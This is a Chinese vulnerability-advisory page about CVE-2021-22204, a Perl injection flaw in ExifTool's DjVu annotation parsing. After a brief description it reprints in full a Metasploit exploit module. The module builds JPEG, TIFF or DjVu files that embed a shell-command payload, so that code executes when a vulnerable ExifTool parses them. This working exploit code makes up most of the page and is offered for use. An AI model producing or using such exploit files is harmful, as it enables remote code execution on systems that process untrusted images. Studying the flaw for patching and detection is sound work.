华域联盟 漏洞资讯 ExifTool 安全漏洞

ExifTool 安全漏洞

ExifTool 安全漏洞

漏洞ID 2426124 漏洞类型 注入
发布时间 2021-05-15 更新时间 2021-06-15
CVE编号 CVE-2021-22204 CNNVD-ID CNNVD-202104-1829
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2021050077


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-1829

|漏洞详情
exiftool是一个应用软件。使元数据更易于访问。 ExifTool versions 7.44版本及之前版本存在注入漏洞,该漏洞允许在解析恶意图像时任意执行代码。
|漏洞EXP
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ExifTool DjVu ANT Perl injection',
        'Description' => %q{
          This module exploits a Perl injection vulnerability in the DjVu ANT
          parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
          injection is used to execute a shell command using Perl backticks.
          The DjVu image can be embedded in a wrapper image using the
          HasselbladExif EXIF field.
        },
        'Author' => [
          'William Bowling',   # Vulnerability discovery
          'Justin Steven'      # Metasploit module
        ],
        'References' => [
          %w[CVE 2021-22204],
          %w[URL https://twitter.com/wcbowling/status/1385803927321415687],
          %w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
          %w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
        ],
        'DisclosureDate' => '2021-05-24',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 2000,
          'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
        },
        'Targets' => [
          ['JPEG file', { template: 'msf.jpg' }],
          ['TIFF file', { template: 'msf.tif' }],
          ['DjVu file', { template: 'msf.djvu' }]
        ],
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
    ])
  end

  def exploit
    p = payload.encoded

    buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
    buf[8, 4] = [209 + p.length].pack('L>')     # Fix up DJVM length
    buf[174, 4] = [43 + p.length].pack('L>')    # Fix up DJVI length
    buf[186, 4] = [31 + p.length].pack('L>')    # Fix up ANTa length

    if target.name == 'JPEG file'
      jpeg_buf = jpeg_template
      jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = jpeg_buf
    elsif target.name == 'TIFF file'
      tif_buf = tif_template
      tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = tif_buf
    end

    file_create(buf)
  end

  def djvu_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
    ))
  end

  def jpeg_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
    ))
  end

  def tif_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
    ))
  end
end

|参考资料

来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2021-22204

本文由 华域联盟 原创撰写:华域联盟 » ExifTool 安全漏洞

转载请保留出处和原文链接:https://www.cnhackhy.com/95097.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部